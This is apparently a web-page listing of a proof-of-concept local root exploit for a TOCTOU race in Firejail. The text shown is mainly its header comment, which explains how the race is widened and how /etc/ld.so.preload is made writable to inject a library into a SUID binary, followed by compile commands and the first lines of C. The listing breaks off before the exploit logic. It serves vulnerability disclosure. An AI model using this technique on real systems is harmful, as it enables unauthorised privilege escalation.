Firejail TOCTOU Race Condition

This program demonstrates a time-of-check-time-of-use TOCTOU vulnerability in Firejail. Winning it causes Firejail to create an insecure overlayfs layout, that is then used to escalate privileges by making /etc/ld.so.preload user writable.


MD5 | 46b73dcb5fab3f322630255797e9c8f5

/** This software is provided by the copyright owner "as is"
* and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including,
* but not limited to, the implied warranties of merchantability
* and fitness for a particular purpose are disclaimed. In no
* event shall the copyright owner be liable for any direct,
* indirect, incidential, special, exemplary or consequential
* damages, including, but not limited to, procurement of substitute
* goods or services, loss of use, data or profits or business
* interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including
* negligence or otherwise, arising in any way out of the use
* of this software, even if advised of the possibility of such
* damage.
*
* Copyright (c) 2021 Unparalleled IT Services e.U.
*
* The software is only provided for reference to ease understanding
* and fixing of an underlying security issue in Firejail.
* Therefore it may NOT be distributed freely while the security
* issue is not fixed and patched software is available widely.
* After that phase permission to use, copy, modify, and distribute
* this software according to GNU Lesser General Public License
* (LGPL-3.0) purpose is hereby granted, provided that the above
* copyright notice and this permission notice appear in all
* copies.
*
*
* This program demonstrates a time-of-check-time-of-use TOCTOU
* vulnerability in Firejail. Winning it causes Firejail to create
* an insecure overlayfs layout, that is then used to escalate
* privileges by making /etc/ld.so.preload user writable.
*
* As the window of opportunity for a standard time race attack
* on the TOCTOU is quite narrow, this tool "expands" the window
* by synchronizing stdout and stderr using blocking pipes and
* a dedicated pty master/slave pair.
*
* As exploitation involves using /etc/ld.so.preload to inject
* a rogue library into a SUID binary, this program is designed
* to act as program and shared library at the same time. To
* compile it use:
*
* Bullseye: gcc -g -shared -fPIC -Wl,-Bsymbolic -Wl,-e_altStart -o UnjailMyHeart UnjailMyHeart.c
* Buster: gcc -g -fPIC -o UnjailMyHeart UnjailMyHeart.c
*
* Usage: UnjailMyHeart [optional Firejail command line for testing]
*
* See https://unparalleled.eu/blog/2021/20210208-rigged-race-against-firejail-for-local-root/
* for more information.
*/

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>


typedef struct BlockableFdPair {
int readFd;
int writeFd;

int bytesWrittenToBlock;
int bytesSkipOnRead;
} BlockableFdPair;

extern char **environ;


#if defined(__x86_64__)
const char lib_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#define init_args(argc, argv) __asm__ volatile ( \
"mov 0x8(%%rbp), %%edx \n\tmov %%edx, %0 \n\tlea 0x10(%%rbp), %1 \n\t" \
:"=m"(argc), "=r"(argv)::"memory")
#elif
ABORT("No 32 bit support yet");
Related Posts